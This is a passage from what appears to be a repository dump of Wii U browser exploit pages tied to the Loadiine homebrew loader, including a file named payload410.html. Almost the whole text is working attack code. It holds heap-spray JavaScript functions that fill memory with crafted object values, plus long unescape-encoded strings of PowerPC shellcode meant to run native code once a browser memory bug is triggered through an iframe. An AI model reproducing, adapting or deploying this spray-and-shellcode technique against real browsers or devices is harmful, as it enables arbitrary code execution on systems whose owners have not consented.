unescape(\"%u0000%u7ec0%u0000%u7ec4%u0000%u7ec8%u0000%u7ecc%u0000%u7ed0%u0000%u7ed4%u0000%u7ed8%u0000%u7edc%u0000%u7ee0%u0000%u7ee4%u0000%u7ee8%u0000%u7eec%u0000%u7ef0%u0000%u7ef4%u0000%u7ef8%u0000%u7efc\");\n    str    += unescape(\"%u0000%u7f00%u0000%u7f04%u0000%u7f08%u0000%u7f0c%u0000%u7f10%u0000%u7f14%u0000%u7f18%u0000%u7f1c%u0000%u7f20%u0000%u7f24%u0000%u7f28%u0000%u7f2c%u0000%u7f30%u0000%u7f34%u0000%u7f38%u0000%u7f3c\");\n    str    += unescape(\"%u0000%u7f40%u0000%u7f44%u0000%u7f48%u0000%u7f4c%u0000%u7f50%u0000%u7f54%u0000%u7f58%u0000%u7f5c%u0000%u7f60%u0000%u7f64%u0000%u7f68%u0000%u7f6c%u0000%u7f70%u0000%u7f74%u0000%u7f78%u0000%u7f7c\");\n    str    += unescape(\"%u0000%u7f80%u0000%u7f84%u0000%u7f88%u0000%u7f8c%u0000%u7f90%u0000%u7f94%u0000%u7f98%u0000%u7f9c%u0000%u7fa0%u0000%u7fa4%u0000%u7fa8%u0000%u7fac%u0000%u7fb0%u0000%u7fb4%u0000%u7fb8%u0000%u7fbc\");\n    str    += unescape(\"%u0000%u7fc0%u0000%u7fc4%u0000%u7fc8%u0000%u7fcc%u0000%u7fd0%u0000%u7fd4%u0000%u7fd8%u0000%u7fdc%u0000%u7fe0%u0000%u7fe4%u0000%u7fe8%u0000%u7fec%u0000%u7ff0%u0000%u7ff4%u0000%u7ff8%u0000%u7ffc\");\n\n                var h1 = [];\n                h1[0] = str.substring(0, str.length);\n                \n                for (i = 1; i <= n; i++)\n                    h1[i] = unescape(h1[0]);\n                    \n                return h1;\n            }            \n\n            function dsm(evnt) {\n                // spray\n                var mem = [];\n                for (var j = 20; j < 2048; j++) sprayOne(mem, j, 0x1dd7b814);\n            }\n            var pointer = sprayInc(25000);\n            var code = sprayCode(300);\n        </script>\n    </head>\n    <body>\n        <iframe src=\"frame.html\"></iframe>\n    </body>\n</html>\n"
  },
  {
    "path": "www/loadiine_gx2/payload410.html",
    "content": "<html>\n    <head>\n        <script>\n            function sprayOne(mem, size, v) {\n                var a = new Uint32Array(size - 20);\n                for (var j = 0; j < a.length; j++) a[j] = v;\n                var t = document.createTextNode(String.fromCharCode.apply(null, new Uint32Array(a)));\n                mem.push(t);\n            }\n            function sprayInc(n) {              \n    var str = unescape(\"%u0000%u0000%u0000%u0004%u0000%u0008%u0e0d%u6d8c%u0000%u0010%u1dd7%ub814%u0000%u0018%u0000%u0000%u0000%u0020%u0ea0%u4ac0%u0000%u0028%u0e0f%u9000%u0000%u0030%u0000%u0034%u0000%u0038%u0000%u003c\");\n    str    += unescape(\"%u0000%u0040%u0000%u0044%u0000%u0048%u0000%u004c%u0000%u0050%u0000%u0054%u0000%u0058%u0000%u005c%u0000%u8000%u0000%u0064%u0000%u0068%u0000%u006c%u0000%u0070%u0000%u0074%u0000%u0078%u1dd7%ub818\");\n    str    += unescape(\"%u0000%u0080%u0000%u0084%u0180%u0000%u0e0e%u5d54%u0000%u0090%u1dd7%ub9c4%u0000%u0098%u0000%u009c%u0000%u00a0%u0000%u00a4%u0000%u00a8%u0000%u00ac%u0000%u00b0%u0000%u00b4%u0000%u00b8%u0180%u0000\");\n    str    += unescape(\"%u0000%u00c0%u0ea0%u4ac0%u0000%u00c8%u0e0d%u6d8c%u0000%u00d0%u1dd7%ub81c%u0000%u00d8%u0180%u0000%u0000%u00e0%u0e0e%u5d54%u0000%u00e8%u0000%u8000%u0000%u00f0%u0000%u00f4%u0000%u00f8%u0000%u00fc\");\n    str    += unescape(\"%u0000%u0100%u0000%u0104%u0000%u0108%u0000%u010c%u0000%u0110%u0180%u0000%u0000%u0118%u0ea0%u4ac0%u0000%u0120%u0e0d%u6d8c%u0000%u0128%u1dd7%ub820%u0000%u0130%u0180%u0000%u0000%u0138%u0e0e%u5d54\");\n    str    += unescape(\"%u0000%u0140%u0000%u8000%u0000%u0148%u0000%u014c%u0000%u0150%u0000%u0154%u0000%u0158%u0000%u015c%u0000%u0160%u0000%u0164%u0000%u0168%u0180%u0000%u0000%u0170%u0ea0%u4ac0%u0000%u0178%u0e0d%u6d8c\");\n    str    += unescape(\"%u0000%u0180%u1dd7%ub814%u0000%u0188%u0000%u0001%u0000%u0190%u0ea0%u4ac0%u0000%u0198%u0180%u0000%u0000%u01a0%u0000%u01a4%u0000%u01a8%u0000%u01ac%u9421%ue000%u7c3f%u0b78%u3d20%u1dd7%u6129%ub814\");\n    str    += unescape(\"%u913f%u0008%u3920%u0000%u913f%u000c%u4800%u0034%u813f%u0008%u8149%u0000%u3d20%ucafe%u6129%ucafe%u7f8a%u4800%u409e%u0010%u813f%u000c%u3929%u0001%u913f%u000c%u813f%u0008%u3929%u0004%u913f%u0008\");\n    str    += unescape(\"%u813f%u000c%u2f89%u0095%u409d%uffc8%u3d20%u0103%u6129%u0ee4%u3d40%u1dd7%u6143%ub814%u3d40%u1dd7%u6144%uc014%u38a0%u0600%u7d29%u03a6%u4e80%u0421%u3d20%u1dd7%u6129%ub8a8%u913f%u0010%u815f%u0008\");\n    str    += unescape(\"%u813f%u0010%u9149%u0000%u3c20%u1dd7%u6021%ub814%u3d20%u0e0d%u6129%u595c%u7d29%u03a6%u4e80%u0421%u397f%u0020%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u7c08%u03a6%u83eb%ufffc\");\n    str    += unescape(\"%u7d61%u5b78%u4e80%u0020%u0000%u0288%u0000%u028c%u0000%u0290%u0000%u0294%u0000%u0298%u0000%u029c%u0000%u02a0%u0000%u02a4%u0000%u02a8%u0000%u02ac%u0000%u02b0%u0000%u02b4%u0000%u02b8%u0000%u02bc\");\n    str    += unescape(\"%u0000%u02c0%u0000%u02c4%u0000%u02c8%u0000%u02cc%u0000%u02d0%u0000%u02d4%u0000%u02d8%u0000%u02dc%u0000%u02e0%u0000%u02e4%u0000%u02e8%u0000%u02ec%u0000%u02f0%u0000%u02f4%u0000%u02f8%u0000%u02fc\");\n    str    += unescape(\"%u0000%u0300%u0000%u0304%u0000%u0308%u0000%u030c%u0000%u0310%u0000%u0314%u0000%u0318%u0000%u031c%u0000%u0320%u0000%u0324%u0000%u0328%u0000%u032c%u0000%u0330%u0000%u0334%u0000%u0338%u0000%u033c\");\n    str    += unescape(\"%u0000%u0340%u0000%u0344%u0000%u0348%u0000%u034c%u0000%u0350%u0000%u0354%u0000%u0358%u0000%u035c%u0000%u0360%u0000%u0364%u0000%u0368%u0000%u036c%u0000%u0370%u0000%u0374%u0000%u0378%u0000%u037c\");\n    str    += unescape(\"%u0000%u0380%u0000%u0384%u0000%u0388%u0000%u038c%u0000%u0390%u0000%u0394%u0000%u0398%u0000%u039c%u0000%u03a0%u0000%u03a4%u0000%u03a8%u0000%u03ac%u0000%u03b0%u0000%u03b4%u0000%u03b8%u0000%u03bc\");\n    str    += unescape(\"%u0000%u03c0%u0000%u03c4%u0000%u03c8%u0000%u03cc%u0000%u03d0%u0000%u03d4%u0000%u03d8%u0000%u03dc%u0000%u03e0%u0000%u03e4%u0000%u03e8%u0000%u03ec%u0000%u03f0%u0000%u03f4%u0000%u03f8%u0000%u03fc\");\n    str    += unescape(\"%u0000%u0400%u0000%u0404%u0000%u0408%u0000%u040c%u0000%u0410%u0000%u0414%u0000%u0418%u0000%u041c%u0000%u0420%u0000%u0424%u0000%u0428%u0000%u042c%u0000%u0430%u0000%u0434%u0000%u0438%u0000%u043c\");\n    str    += unescape(\"%u0000%u0440%u0000%u0444%u0000%u0448%u0000%u044c%u0000%u0450%u0000%u0454%u0000%u0458%u0000%u045c%u0000%u0460%u0000%u0464%u0000%u0468%u0000%u046c%u0000%u0470%u0000%u0474%u0000%u0478%u0000%u047c\");\n    str    += unescape(\"%u0000%u0480%u0000%u0484%u0000%u0488%u0000%u048c%u0000%u0490%u0000%u0494%u0000%u0498%u0000%u049c%u0000%u04a0%u0000%u04a4%u0000%u04a8%u0000%u04ac%u0000%u04b0%u0000%u04b4%u0000%u04b8%u0000%u04bc\");\n    str    += unescape(\"%u0000%u04c0%u0000%u04c4%u0000%u04c8%u0000%u04cc%u0000%u04d0%u0000%u04d4%u0000%u04d8%u0000%u04dc%u0000%u04e0%u0000%u04e4%u0000%u04e8%u0000%u04ec%u0000%u04f0%u0000%u04f4%u0000%u04f8%u0e0d%u595c\");\n    str    += unescape(\"%u0e0d%u595c%u0e0d%u595c%u0e0d%u595c%u0e0d%u595c%u0000%u0510%u0000%u0514%u0000%u0518%u0000%u051c%u0000%u0520%u0000%u0524%u0000%u0528%u0000%u052c%u0000%u0530%u0000%u0534%u0000%u0538%u0103%u2180\");\n    str    += unescape(\"%u0103%u0ee4%u0102%u0eac%u0102%u0fd4%u0e3b%u09a4%u0000%u0550%u0000%u0554%u0000%u0558%u0000%u055c%u0000%u0560%u0000%u0564%u0000%u0568%u0000%u056c%u0000%u0570%u0000%u0574%u0000%u0578%u0000%u057c\");\n    str    += unescape(\"%u0000%u0580%u0000%u0584%u0000%u0588%u0000%u058c%u0000%u0590%u0000%u0594%u0000%u0598%u0000%u059c%u0000%u05a0%u0000%u05a4%u0000%u05a8%u0000%u05ac%u0000%u05b0%u0000%u05b4%u0000%u05b8%u0000%u05bc\");\n    str    += unescape(\"%u0000%u05c0%u0000%u05c4%u0000%u05c8%u0000%u05cc%u0000%u05d0%u0000%u05d4%u0000%u05d8%u0000%u05dc%u0000%u05e0%u0000%u05e4%u0000%u05e8%u0000%u05ec%u0000%u05f0%u0000%u05f4%u0000%u05f8%u0000%u05fc\");\n\n                var h1 = [];\n                h1[0] = str.substring(0, str.length);\n                \n                for (i = 1; i <= n; i++)\n                    h1[i] = unescape(h1[0]);\n                    \n                return h1;\n            }\n            \n            function sprayCode(n) {              \n    var str = unescape(\"%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1a39%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000\");\n    str    += unescape(\"%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032\");\n    str    += unescape(\"%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff1%u6063%uad00%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080\");\n    str    += unescape(\"%u9083%u000c%u3c80%u60e7%u6084%u00ff%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020\");\n    str    += unescape(\"%u3c80%u4880%u6084%u0003%u9083%u0024%u3c60%ufff1%u6063%uad00%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%uad20%u7c00%u18ac%u7c00%u1fac%u7c00%u04ac%u3c60%u3080%u6063%u0012%u7c71%u8ba6%u3c60%u0080\");\n    str    += unescape(\"%u6063%u00ff%u7c70%u8ba6%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%ufff0%u6063%u6708%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u6794%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0\");\n    str    += unescape(\"%u6063%u03c8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%uade8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%uae04\");\n    str    += unescape(\"%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%uaf08%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6\");\n    str    += unescape(\"%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%uffee%u6063%u10b8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u10bc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6\");\n    str    += unescape(\"%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c9f%u2378%u9001%u0014%u8124%u0018%u7d29%u03a6%u4e80%u0421%u813f%u001c%u807f%u0008%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u813f%u001c%u807f%u000c%u7d29%u03a6%u4e80%u0421%u815f%u0010%u3920%u0000%u912a%u01fc%u815f%u0014%u912a%u01ac%u813f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0020%u8001%u0014%u3880%u0004%u807f%u0000\");\n    str    += unescape(\"%u7d29%u03a6%u80bf%u0004%u38c0%u1000%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0420%u5463%u083c%u3863%u0001%u7c69%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6\");\n    str    += unescape(\"%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%u8460%u9001%u0034%u7fe9%u03a6%u38a5%u22dc%u38c1%u001c%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22e3\");\n    str    += unescape(\"%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22f5%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2304%u38c1%u0010%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2316%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u231f%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003\");\n    str    += unescape(\"%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u000c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1\");\n    str    += unescape(\"%u3961%u0030%u4800%u1da8%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%u8460%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u2327%u38c1%u0008\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028\");\n    str    += unescape(\"%u4800%u1d28%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018%u6129%u8460%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u2339%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78\");\n    str    += unescape(\"%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3961%u0028%u4800%u1c9c%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%u8460%u9001%u0024%u7fe9%u03a6%u38a5%u234f%u38c1%u0010%u7c7e%u1b78%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u235c%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2372%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u1bc4%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c\");\n    str    += unescape(\"%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1\");\n    str    += unescape(\"%u37de%uffff%u40a2%uffc8%u3961%u0018%u4800%u1b58%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%u8460%u9001%u0024%u7fc9%u03a6%u38a5%u238a%u38c1%u0010%u7c7f%u1b78\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u2372%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2397%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000\");\n    str    += unescape(\"%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u23ab%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u1a40%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180\");\n    str    += unescape(\"%u6129%u8460%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000%u38a5%u23c3%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78\");\n    str    += unescape(\"%u4bff%ufd4d%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u19bc%u9421%uffd8%u7c08%u02a6\");\n    str    += unescape(\"%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%u8460%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u22e3%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u23c9%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u23d8%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u23e7%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6\");\n    str    += unescape(\"%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000\");\n    str    += unescape(\"%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u187c%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c\");\n    str    += unescape(\"%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae\");\n    str    += unescape(\"%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78\");\n    str    += unescape(\"%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000\");\n    str    += unescape(\"%u409e%uffe0%u3d20%u0102%u3c60%u0180%u6129%ud01c%u3863%u23fc%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1778%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78\");\n    str    += unescape(\"%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78\");\n    str    += unescape(\"%u4800%u1730%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500\");\n    str    += unescape(\"%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u16dc%u9421%ufe50%u7c08%u02a6%ubde1%u016c%u3fe0%u0102%u7c7d%u1b78%u63ff%u6e60%u3c60%u0180%u9001%u01b4%u7fe9%u03a6%u3863%u240e%u3881%u0158\");\n    str    += unescape(\"%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0154%u3863%u2417%u3fe0%u0102%u63ff%u8460%u4e80%u0421%u8061%u0158%u4bff%uf795%u8061%u0158%u4bff%ufb25%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000\");\n    str    += unescape(\"%u38a5%u22dc%u38c1%u0150%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u241e%u38c1%u014c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22e3%u38c1%u0148\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22f5%u38c1%u0144%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u234f%u38c1%u0140%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2425%u38c1%u013c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2437%u38c1%u0138%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158\");\n    str    += unescape(\"%u3880%u0000%u38a5%u23c9%u38c1%u0134%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23d8%u38c1%u0130%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2449\");\n    str    += unescape(\"%u38c1%u012c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u245d%u38c1%u0128%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2470%u38c1%u0124%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23e7%u38c1%u0120%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u247e%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0158%u3880%u0000%u38a5%u23c3%u38c1%u0118%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0154%u3880%u0000%u38a5%u2488%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u38a5%u249b%u38c1%u0110%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0154%u3880%u0000%u4e80%u0421%u813d%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u813d%u0014%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u7c7e%u1b78\");\n    str    += unescape(\"%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u3880%u0008%u7c76%u1b78%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300%u3900%u0300\");\n    str    += unescape(\"%u3940%u0019%u8081%u0118%u3920%u0000%u7c7a%u1b78%u4e80%u0421%u813d%u0014%u7c7c%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u8081%u0118%u38a0%u0000%u7d69%u03a6%u38c0%u0000\");\n    str    += unescape(\"%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u001c%u7c7b%u1b78%u4e80%u0421%u813d%u0014%u7c79%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u2f9c%u0000%u7c78%u1b78%u419e%u000c%u2f99%u0000\");\n    str    += unescape(\"%u409e%u002c%u8061%u0158%u3c80%u0180%u3884%u24ad%u38a0%u0001%u4bff%uf7d9%u3c60%u2fff%u6063%uffff%u4bff%uf47d%u8061%u0158%u4bff%uf949%u8061%u0158%u3c80%u0180%u3884%u24d9%u38a0%u0001%u4bff%uf7b1\");\n    str    += unescape(\"%u3d20%u0102%u6129%u8460%u3ca0%u0180%u38c1%u010c%u7d29%u03a6%u8061%u0158%u3880%u0000%u38a5%u24ec%u3f80%u0180%u3b9c%u2200%u4e80%u0421%u8121%u010c%u7f84%ue378%u38a0%u002c%u3929%u0044%u3861%u0040\");\n    str    += unescape(\"%u9121%u010c%u4bff%ufae5%u80a1%u011c%u3880%u002c%u3861%u0040%u4bff%ufaf9%u389c%u002c%u7c79%u1b78%u3861%u00c0%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufad9%u389c%u0044%u7c74%u1b78\");\n    str    += unescape(\"%u3861%u00a8%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufab9%u389c%u005c%u7c70%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufa81%u80a1%u011c%u3880%u0038%u3861%u0008%u4bff%ufa95%u389c%u0094\");\n    str    += 